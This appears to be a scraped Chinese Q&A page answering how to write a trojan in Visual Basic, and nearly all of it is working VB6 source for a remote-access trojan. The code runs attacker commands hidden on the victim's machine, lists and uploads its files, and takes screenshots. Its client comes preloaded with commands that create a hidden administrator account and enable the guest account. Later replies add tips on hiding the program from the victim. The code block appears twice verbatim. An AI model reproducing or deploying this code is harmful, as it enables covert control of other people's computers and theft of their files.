展开全部
其实很简单 就是一个 wisock 控件
下面是说明
用wisock控件做,必须知道一方的IP,如被控制方IP。
被控制方程序:
Private Sub Form_Load()
Winsock1.LocalPort = 2555
Winsock1.Listen
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock2(i).Accept requestID
End Sub
Private Sub Winsock2_DataArrival(Index As Integer, ByVal bytesTotal As Long)
Dim strtmp As String
Winsock2(Index).GetData strtmp
'判断strtmp,是指定内容,就执行相关代码。略
End Sub
控制方程序:(假设对方IP是222.222.222.222)
Private Sub Command1_Click()
Dim strtmp As String
strtmp = Text1
While Winsock1.State <> 7
DoEvents
Wend
Winsock1.SendData strtmp
End Sub
Private Sub Form_Load()
Winsock1.Connect "222.222.222.222", 2555
End Sub 附件: 我的源代码
--------------服务端
Option Explicit
Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
Const theScreen = 1
Const theForm = 0
Dim filetypes As String
'查找第一个文件的API
Private Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" (ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long
'查找下一个文件的API
Private Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" (ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long
'获取文件属性的API
Private Declare Function GetFileAttributes Lib "kernel32" Alias "GetFileAttributesA" (ByVal lpFileName As String) As Long
'关闭查找文件的API
Private Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long
'以下为调用浏览文件夹窗口的API
Private Declare Sub CoTaskMemFree Lib "ole32.dll" (ByVal hMem As Long)
Private Declare Function lstrcat Lib "kernel32" Alias "lstrcatA" (ByVal lpString1 As String, ByVal lpString2 As String) As Long
Private Declare Function SHBrowseForFolder Lib "shell32" (lpbi As BrowseInfo) As Long
Private Declare Function SHGetPathFromIDList Lib "shell32" (ByVal pidList As Long, ByVal lpBuffer As String) As Long
'常量
Const MAX_PATH = 260
Const MAXDWORD = &HFFFF
Const INVALID_HANDLE_VALUE = -1
Const FILE_ATTRIBUTE_ARCHIVE = &H20
Const FILE_ATTRIBUTE_DIRECTORY = &H10
Const FILE_ATTRIBUTE_HIDDEN = &H2
Const FILE_ATTRIBUTE_NORMAL = &H80
Const FILE_ATTRIBUTE_READONLY = &H1
Const FILE_ATTRIBUTE_SYSTEM = &H4
Const FILE_ATTRIBUTE_TEMPORARY = &H100
Const BIF_RETURNONLYFSDIRS = 1
Private Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type
'定义类(用于查找文件)
Private Type WIN32_FIND_DATA
dwFileAttributes As Long
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME
ftLastWriteTime As FILETIME
nFileSizeHigh As Long
nFileSizeLow As Long
dwReserved0 As Long
dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type
'定义类(用于浏览文件夹窗口)
Private Type BrowseInfo
hWndOwner As Long
pIDLRoot As Long
pszDisplayName As Long
lpszTitle As Long
ulFlags As Long
lpfnCallback As Long
lParam As Long
iImage As Long
End Type
'自定义函数
Function StripNulls(OriginalStr As String) As String
If (InStr(OriginalStr, Chr(0)) > 0) Then
OriginalStr = Left(OriginalStr, InStr(OriginalStr, Chr(0)) - 1)
End If
StripNulls = OriginalStr
End Function
'自定义函数
Function FindFilesAPI(path As String, SearchStr As String, FileCount As Integer, _
DirCount As Integer)
SearchStr = "*.*"
Dim wenjianmulu As String
Dim FileName As String ' 文件名
Dim DirName As String ' 子目录名
Dim dirNames() As String ' 目录数组
Dim nDir As Integer ' 当前路径的目录数
Dim i As Integer ' 循环计数器变量
Dim hSearch As Long ' 搜索句柄变量
Dim WFD As WIN32_FIND_DATA
Dim Cont As Integer
If Right(path, 1) <> "\" Then path = path & "\"
'搜索子目录
nDir = 0
ReDim dirNames(nDir)
Cont = True
hSearch = FindFirstFile(path & "*", WFD)
If hSearch <> INVALID_HANDLE_VALUE Then
Do While Cont
DirName = StripNulls(WFD.cFileName)
If (DirName <> ".") And (DirName <> "..") Then
If GetFileAttributes(path & DirName) And FILE_ATTRIBUTE_DIRECTORY Then
dirNames(nDir) = DirName
DirCount = DirCount + 1
nDir = nDir + 1
ReDim Preserve dirNames(nDir)
End If
End If
Cont = FindNextFile(hSearch, WFD) '获取下一个子目录
Loop
Cont = FindClose(hSearch)
End If
' 遍历目录并累计文件总数
hSearch = FindFirstFile(path & SearchStr, WFD)
Cont = True
If hSearch <> INVALID_HANDLE_VALUE Then
While Cont
FileName = StripNulls(WFD.cFileName)
If (FileName <> ".") And (FileName <> "..") Then
FindFilesAPI = FindFilesAPI + (WFD.nFileSizeHigh * MAXDWORD) + WFD.nFileSizeLow
FileCount = FileCount + 1
List1.AddItem path & FileName & Format(((WFD.nFileSizeHigh * MAXDWORD) + WFD.nFileSizeLow) / 1024, "#,###,###,##0") & "k"
wenjianmulu = wenjianmulu + "llwjml" & path & FileName
End If
Cont = FindNextFile(hSearch, WFD) ' 获取下一个文件
Wend
Cont = FindClose(hSearch)
End If
'如果子目录存在则遍历之
Ws.SendData wenjianmulu
End Function
Private Sub Command2_Click()
Print Ws.State
End Sub
Private Sub Command3_Click()
Dim FileName As String
FileName = Trim(Text2.Text)
Dim Buffer() As Byte
Dim fLen As Long
Dim FPath As String
FPath = FileName
fLen = FileLen(FPath)
ReDim Buffer(fLen - 1)
Open FPath For Binary As #3
Get #3, 1, Buffer
Close #3
Ws.SendData Buffer
End Sub
Private Sub Form_Load()
Ws.LocalPort = 7758
Ws.Listen
'传递文件类型
End Sub
Private Sub List1_DblClick()
MsgBox List1.Text
End Sub
Private Sub Ws_Close()
Ws.Close
Ws.Listen
End Sub
Private Sub Ws_ConnectionRequest(ByVal requestID As Long)
If Ws.State <> sckClosed Then Ws.Close
Ws.Accept requestID
End Sub
Private Sub Ws_DataArrival(ByVal bytesTotal As Long)
Dim tmp As String, tmp1 As String
Ws.GetData tmp, vbString
tmp1 = Mid(tmp, 1, 6)
Select Case tmp1
Case "msgbox"
MsgBox Mid(tmp, 7), vbOKOnly, "警告!"
Case "dakaiw"
Call FindFilesAPI(Mid(tmp, 7), "*.*", 1, 1)
Case "yunxin"
Shell Mid(tmp, 7), vbHide
Case "yuanpm"
'MsgBox Mid(tmp, 7)
Call keybd_event(vbKeySnapshot, theForm, 0, 0)
'若theForm改成theScreen则Copy整个Screen
DoEvents
Picture1.Picture = Clipboard.GetData(vbCFBitmap)
SavePic Picture1.Picture, "C:\\1.gif", ".gif"
Dim Buffer1() As Byte
Dim fLen1 As Long
Dim FPath1 As String
FPath1 = "C:\\1.gif"
fLen1 = FileLen(FPath1)
ReDim Buffer1(fLen1 - 1)
Open FPath1 For Binary As #3
Get #3, 1, Buffer1
Close #3
Ws.SendData Buffer1
Case "xiazai"
Dim FileName As String
FileName = Mid(tmp, 7)
Dim Buffer() As Byte
Dim fLen As Long
Dim FPath As String
FPath = FileName
fLen = FileLen(FPath)
ReDim Buffer(fLen - 1)
Open FPath For Binary As #3
Get #3, 1, Buffer
Close #3
Ws.SendData Buffer
End Select
End Sub
Sub Command1_Click()
Dim SearchPath As String, FindStr As String
Dim FileSize As Long
Dim NumFiles As Integer, NumDirs As Integer
Dim iNull As Integer, lpIDList As Long, lResult As Long
Dim sPath As String, udtBI As BrowseInfo
With udtBI
'设置浏览窗口
.hWndOwner = Me.hWnd
'.lpszTitle = "浏览器的标题" '但我试了很多次都出错(出错码13)
'返回选中的目录
.ulFlags = BIF_RETURNONLYFSDIRS
End With
'调出浏览窗口
lpIDList = SHBrowseForFolder(udtBI)
'如果点击“取消”,则关闭浏览窗口
If lpIDList = 0 Then Exit Sub
If lpIDList Then
sPath = String$(MAX_PATH, 0)
'获取路径
SHGetPathFromIDList lpIDList, sPath
'释放内存
CoTaskMemFree lpIDList
iNull = InStr(sPath, vbNullChar)
If iNull Then
sPath = Left$(sPath, iNull - 1)
End If
End If
Screen.MousePointer = vbHourglass
'List1.Clear
SearchPath = sPath '选中的目录为搜索的起始路径
FindStr = filetypes '搜索所有类型的文件(此处可另作定义)
On Error Resume Next
FileSize = FindFilesAPI(SearchPath, FindStr, NumFiles, NumDirs)
Text1.Text = "查找到的文件数:" & NumFiles & "个 " & vbCrLf & "查找的目录数:" & _
NumDirs + 1 & "个 " & vbCrLf & "文件大小总共为:" & _
Format(FileSize, "#,###,###,##0") & "字节"
Screen.MousePointer = vbDefault
'显示文件大小时,如果文件太多会出错,我想不出解决的办法
End Sub
--------客户端
Dim strFileName As String
Private Sub Command3_Click()
Wc.SendData "yunxin" & Combo2.Text
End Sub
Private Sub Command5_Click() '下载文件
If Dir(strFileName) <> "" Then
Kill strFileName
End If
Wc.SendData "xiazai" & List1.Text
strFileName = "c:\\" & Right(List1.Text, 5)
End Sub
Private Sub Command6_Click()
If Dir(strFileName) <> "" Then
Kill strFileName
End If
strFileName = "C:\\chongwu123.gif"
Wc.SendData "yuanpm" & "fffff"
If MsgBox("444", vbOKCancel) = 2 Then
End If
Form2.Show
End Sub
Private Sub Form_Load()
strFileName = InputBox("baocun", , "C:\\chongwu123.gif")
Wc.RemoteHost = "127.0.0.1" '远程IP地址
Wc.RemotePort = 7758 '远程端口
Wc.Connect
Combo1.AddItem "C:\"
Combo1.AddItem "D:\"
Combo1.AddItem "E:\"
Combo1.AddItem "F:\"
Combo1.AddItem "G:\"
Combo1.AddItem "H:\"
Combo1.AddItem "C:\WINDOWS"
Combo1.AddItem "C:\WINDOWS\system32"
Combo1.AddItem "C:\Documents and Settings\All Users\「开始」菜单\程序\启动"
Combo1.AddItem "C:\Program Files"
Combo2.AddItem "cmd /c net user qyjack qyjack /add"
Combo2.AddItem "cmd /c net user qyjack /del"
Combo2.AddItem "cmd /c net user guest /active:yes"
Combo2.AddItem "cmd /c net localgroup administrators qyjack /add"
End Sub
Private Sub Wc_ConnectionRequest(ByVal requestID As Long)
If Wc.State <> sckClosed Then Wc.Close
Wc.Accept requestID
End Sub
Private Sub Command1_Click() '打开目录
If Dir(strFileName) <> "" Then
Kill strFileName
End If
Dim str As String, str1 As String
str1 = Trim(Combo1.Text)
str = "dakaiw" & str1
Wc.SendData str
End Sub
Private Sub List1_DblClick()
If Dir(strFileName) <> "" Then
Kill strFileName
End If
Wc.SendData "dakaiw" & List1.Text
End Sub
Private Sub Command2_Click() '发送消息
Dim str As String, str1 As String
str1 = Trim(Text2.Text)
str = "msgbox" & str1
Wc.SendData str
End Sub
Private Sub Wc_DataArrival(ByVal bytesTotal As Long)
Dim tmp As String, tmp1 As String, b() As String, i As Integer
Dim Buffer() As Byte
ReDim Buffer(bytesTotal)
'Wc.GetData tmp, vbString
Wc.GetData Buffer
Dim getLen As Long
Open strFileName For Binary As #1
getLen = LOF(1)
Put #1, getLen + 1, Buffer
Close #1
Open strFileName For Input As #2
Input #2, tmp
Close #2
Text5 = tmp
tmp1 = Mid(tmp, 1, 6)
Select Case tmp1
Case "llwjml"
List1.Clear
b() = Split(tmp, "llwjml")
For i = 1 To UBound(b, 1)
List1.AddItem b(i)
Next i
Case Else
End Select
End Sub
下面是说明
用wisock控件做,必须知道一方的IP,如被控制方IP。
被控制方程序:
Private Sub Form_Load()
Winsock1.LocalPort = 2555
Winsock1.Listen
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock2(i).Accept requestID
End Sub
Private Sub Winsock2_DataArrival(Index As Integer, ByVal bytesTotal As Long)
Dim strtmp As String
Winsock2(Index).GetData strtmp
'判断strtmp,是指定内容,就执行相关代码。略
End Sub
控制方程序:(假设对方IP是222.222.222.222)
Private Sub Command1_Click()
Dim strtmp As String
strtmp = Text1
While Winsock1.State <> 7
DoEvents
Wend
Winsock1.SendData strtmp
End Sub
Private Sub Form_Load()
Winsock1.Connect "222.222.222.222", 2555
End Sub 附件: 我的源代码
--------------服务端
Option Explicit
Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
Const theScreen = 1
Const theForm = 0
Dim filetypes As String
'查找第一个文件的API
Private Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" (ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long
'查找下一个文件的API
Private Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" (ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long
'获取文件属性的API
Private Declare Function GetFileAttributes Lib "kernel32" Alias "GetFileAttributesA" (ByVal lpFileName As String) As Long
'关闭查找文件的API
Private Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long
'以下为调用浏览文件夹窗口的API
Private Declare Sub CoTaskMemFree Lib "ole32.dll" (ByVal hMem As Long)
Private Declare Function lstrcat Lib "kernel32" Alias "lstrcatA" (ByVal lpString1 As String, ByVal lpString2 As String) As Long
Private Declare Function SHBrowseForFolder Lib "shell32" (lpbi As BrowseInfo) As Long
Private Declare Function SHGetPathFromIDList Lib "shell32" (ByVal pidList As Long, ByVal lpBuffer As String) As Long
'常量
Const MAX_PATH = 260
Const MAXDWORD = &HFFFF
Const INVALID_HANDLE_VALUE = -1
Const FILE_ATTRIBUTE_ARCHIVE = &H20
Const FILE_ATTRIBUTE_DIRECTORY = &H10
Const FILE_ATTRIBUTE_HIDDEN = &H2
Const FILE_ATTRIBUTE_NORMAL = &H80
Const FILE_ATTRIBUTE_READONLY = &H1
Const FILE_ATTRIBUTE_SYSTEM = &H4
Const FILE_ATTRIBUTE_TEMPORARY = &H100
Const BIF_RETURNONLYFSDIRS = 1
Private Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type
'定义类(用于查找文件)
Private Type WIN32_FIND_DATA
dwFileAttributes As Long
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME
ftLastWriteTime As FILETIME
nFileSizeHigh As Long
nFileSizeLow As Long
dwReserved0 As Long
dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type
'定义类(用于浏览文件夹窗口)
Private Type BrowseInfo
hWndOwner As Long
pIDLRoot As Long
pszDisplayName As Long
lpszTitle As Long
ulFlags As Long
lpfnCallback As Long
lParam As Long
iImage As Long
End Type
'自定义函数
Function StripNulls(OriginalStr As String) As String
If (InStr(OriginalStr, Chr(0)) > 0) Then
OriginalStr = Left(OriginalStr, InStr(OriginalStr, Chr(0)) - 1)
End If
StripNulls = OriginalStr
End Function
'自定义函数
Function FindFilesAPI(path As String, SearchStr As String, FileCount As Integer, _
DirCount As Integer)
SearchStr = "*.*"
Dim wenjianmulu As String
Dim FileName As String ' 文件名
Dim DirName As String ' 子目录名
Dim dirNames() As String ' 目录数组
Dim nDir As Integer ' 当前路径的目录数
Dim i As Integer ' 循环计数器变量
Dim hSearch As Long ' 搜索句柄变量
Dim WFD As WIN32_FIND_DATA
Dim Cont As Integer
If Right(path, 1) <> "\" Then path = path & "\"
'搜索子目录
nDir = 0
ReDim dirNames(nDir)
Cont = True
hSearch = FindFirstFile(path & "*", WFD)
If hSearch <> INVALID_HANDLE_VALUE Then
Do While Cont
DirName = StripNulls(WFD.cFileName)
If (DirName <> ".") And (DirName <> "..") Then
If GetFileAttributes(path & DirName) And FILE_ATTRIBUTE_DIRECTORY Then
dirNames(nDir) = DirName
DirCount = DirCount + 1
nDir = nDir + 1
ReDim Preserve dirNames(nDir)
End If
End If
Cont = FindNextFile(hSearch, WFD) '获取下一个子目录
Loop
Cont = FindClose(hSearch)
End If
' 遍历目录并累计文件总数
hSearch = FindFirstFile(path & SearchStr, WFD)
Cont = True
If hSearch <> INVALID_HANDLE_VALUE Then
While Cont
FileName = StripNulls(WFD.cFileName)
If (FileName <> ".") And (FileName <> "..") Then
FindFilesAPI = FindFilesAPI + (WFD.nFileSizeHigh * MAXDWORD) + WFD.nFileSizeLow
FileCount = FileCount + 1
List1.AddItem path & FileName & Format(((WFD.nFileSizeHigh * MAXDWORD) + WFD.nFileSizeLow) / 1024, "#,###,###,##0") & "k"
wenjianmulu = wenjianmulu + "llwjml" & path & FileName
End If
Cont = FindNextFile(hSearch, WFD) ' 获取下一个文件
Wend
Cont = FindClose(hSearch)
End If
'如果子目录存在则遍历之
Ws.SendData wenjianmulu
End Function
Private Sub Command2_Click()
Print Ws.State
End Sub
Private Sub Command3_Click()
Dim FileName As String
FileName = Trim(Text2.Text)
Dim Buffer() As Byte
Dim fLen As Long
Dim FPath As String
FPath = FileName
fLen = FileLen(FPath)
ReDim Buffer(fLen - 1)
Open FPath For Binary As #3
Get #3, 1, Buffer
Close #3
Ws.SendData Buffer
End Sub
Private Sub Form_Load()
Ws.LocalPort = 7758
Ws.Listen
'传递文件类型
End Sub
Private Sub List1_DblClick()
MsgBox List1.Text
End Sub
Private Sub Ws_Close()
Ws.Close
Ws.Listen
End Sub
Private Sub Ws_ConnectionRequest(ByVal requestID As Long)
If Ws.State <> sckClosed Then Ws.Close
Ws.Accept requestID
End Sub
Private Sub Ws_DataArrival(ByVal bytesTotal As Long)
Dim tmp As String, tmp1 As String
Ws.GetData tmp, vbString
tmp1 = Mid(tmp, 1, 6)
Select Case tmp1
Case "msgbox"
MsgBox Mid(tmp, 7), vbOKOnly, "警告!"
Case "dakaiw"
Call FindFilesAPI(Mid(tmp, 7), "*.*", 1, 1)
Case "yunxin"
Shell Mid(tmp, 7), vbHide
Case "yuanpm"
'MsgBox Mid(tmp, 7)
Call keybd_event(vbKeySnapshot, theForm, 0, 0)
'若theForm改成theScreen则Copy整个Screen
DoEvents
Picture1.Picture = Clipboard.GetData(vbCFBitmap)
SavePic Picture1.Picture, "C:\\1.gif", ".gif"
Dim Buffer1() As Byte
Dim fLen1 As Long
Dim FPath1 As String
FPath1 = "C:\\1.gif"
fLen1 = FileLen(FPath1)
ReDim Buffer1(fLen1 - 1)
Open FPath1 For Binary As #3
Get #3, 1, Buffer1
Close #3
Ws.SendData Buffer1
Case "xiazai"
Dim FileName As String
FileName = Mid(tmp, 7)
Dim Buffer() As Byte
Dim fLen As Long
Dim FPath As String
FPath = FileName
fLen = FileLen(FPath)
ReDim Buffer(fLen - 1)
Open FPath For Binary As #3
Get #3, 1, Buffer
Close #3
Ws.SendData Buffer
End Select
End Sub
Sub Command1_Click()
Dim SearchPath As String, FindStr As String
Dim FileSize As Long
Dim NumFiles As Integer, NumDirs As Integer
Dim iNull As Integer, lpIDList As Long, lResult As Long
Dim sPath As String, udtBI As BrowseInfo
With udtBI
'设置浏览窗口
.hWndOwner = Me.hWnd
'.lpszTitle = "浏览器的标题" '但我试了很多次都出错(出错码13)
'返回选中的目录
.ulFlags = BIF_RETURNONLYFSDIRS
End With
'调出浏览窗口
lpIDList = SHBrowseForFolder(udtBI)
'如果点击“取消”,则关闭浏览窗口
If lpIDList = 0 Then Exit Sub
If lpIDList Then
sPath = String$(MAX_PATH, 0)
'获取路径
SHGetPathFromIDList lpIDList, sPath
'释放内存
CoTaskMemFree lpIDList
iNull = InStr(sPath, vbNullChar)
If iNull Then
sPath = Left$(sPath, iNull - 1)
End If
End If
Screen.MousePointer = vbHourglass
'List1.Clear
SearchPath = sPath '选中的目录为搜索的起始路径
FindStr = filetypes '搜索所有类型的文件(此处可另作定义)
On Error Resume Next
FileSize = FindFilesAPI(SearchPath, FindStr, NumFiles, NumDirs)
Text1.Text = "查找到的文件数:" & NumFiles & "个 " & vbCrLf & "查找的目录数:" & _
NumDirs + 1 & "个 " & vbCrLf & "文件大小总共为:" & _
Format(FileSize, "#,###,###,##0") & "字节"
Screen.MousePointer = vbDefault
'显示文件大小时,如果文件太多会出错,我想不出解决的办法
End Sub
--------客户端
Dim strFileName As String
Private Sub Command3_Click()
Wc.SendData "yunxin" & Combo2.Text
End Sub
Private Sub Command5_Click() '下载文件
If Dir(strFileName) <> "" Then
Kill strFileName
End If
Wc.SendData "xiazai" & List1.Text
strFileName = "c:\\" & Right(List1.Text, 5)
End Sub
Private Sub Command6_Click()
If Dir(strFileName) <> "" Then
Kill strFileName
End If
strFileName = "C:\\chongwu123.gif"
Wc.SendData "yuanpm" & "fffff"
If MsgBox("444", vbOKCancel) = 2 Then
End If
Form2.Show
End Sub
Private Sub Form_Load()
strFileName = InputBox("baocun", , "C:\\chongwu123.gif")
Wc.RemoteHost = "127.0.0.1" '远程IP地址
Wc.RemotePort = 7758 '远程端口
Wc.Connect
Combo1.AddItem "C:\"
Combo1.AddItem "D:\"
Combo1.AddItem "E:\"
Combo1.AddItem "F:\"
Combo1.AddItem "G:\"
Combo1.AddItem "H:\"
Combo1.AddItem "C:\WINDOWS"
Combo1.AddItem "C:\WINDOWS\system32"
Combo1.AddItem "C:\Documents and Settings\All Users\「开始」菜单\程序\启动"
Combo1.AddItem "C:\Program Files"
Combo2.AddItem "cmd /c net user qyjack qyjack /add"
Combo2.AddItem "cmd /c net user qyjack /del"
Combo2.AddItem "cmd /c net user guest /active:yes"
Combo2.AddItem "cmd /c net localgroup administrators qyjack /add"
End Sub
Private Sub Wc_ConnectionRequest(ByVal requestID As Long)
If Wc.State <> sckClosed Then Wc.Close
Wc.Accept requestID
End Sub
Private Sub Command1_Click() '打开目录
If Dir(strFileName) <> "" Then
Kill strFileName
End If
Dim str As String, str1 As String
str1 = Trim(Combo1.Text)
str = "dakaiw" & str1
Wc.SendData str
End Sub
Private Sub List1_DblClick()
If Dir(strFileName) <> "" Then
Kill strFileName
End If
Wc.SendData "dakaiw" & List1.Text
End Sub
Private Sub Command2_Click() '发送消息
Dim str As String, str1 As String
str1 = Trim(Text2.Text)
str = "msgbox" & str1
Wc.SendData str
End Sub
Private Sub Wc_DataArrival(ByVal bytesTotal As Long)
Dim tmp As String, tmp1 As String, b() As String, i As Integer
Dim Buffer() As Byte
ReDim Buffer(bytesTotal)
'Wc.GetData tmp, vbString
Wc.GetData Buffer
Dim getLen As Long
Open strFileName For Binary As #1
getLen = LOF(1)
Put #1, getLen + 1, Buffer
Close #1
Open strFileName For Input As #2
Input #2, tmp
Close #2
Text5 = tmp
tmp1 = Mid(tmp, 1, 6)
Select Case tmp1
Case "llwjml"
List1.Clear
b() = Split(tmp, "llwjml")
For i = 1 To UBound(b, 1)
List1.AddItem b(i)
Next i
Case Else
End Select
End Sub
展开全部
vb写木马没前途。给你个思路。用winsock编写tcp/udp聊天程序会吧?其实编写木马和编写聊天程序没多大区别。首先你把要安装在别人机子里的木马程序设置为隐藏,包括form.visible=false,app.showintaskbar=false等。然后其他的和聊天程序差不多了。就是你发送一些特定的指令,如用winsock.sendData("关机").等一些你自己约定好的“命令”。然后目标的机子里的winsock程序winsock.dataArrival,事件中看看收到的是什么,如果是“关机”,则关机。就是一个聊天程序。只不过你的机子发送一些信息给目标机子里的winsock程序,目标机子里的程序收到信息时判断是什么信息,如是"关机",“锁定鼠标”,还是其他。用if语句判断。相应的做出反应。所以你先学vb如何关机,注销,锁定鼠标,获得文件信息等一些技能。然后木马的客户端收到消息后执行相应的代码。
用vb编木马不是很好。用c/c++,或perl语言非常好。有兴趣可以试试。
用vb编木马不是很好。用c/c++,或perl语言非常好。有兴趣可以试试。
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
展开全部
不要妄想用VB写木马! 你去用 c++ builder 或者 vc++ 6,0 .
delphi 写的东西不错·! 很好~! 不需要运行库~! 推荐 delphi 或者 c++ builder 6.0.....
delphi 写的东西不错·! 很好~! 不需要运行库~! 推荐 delphi 或者 c++ builder 6.0.....
本回答被网友采纳
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询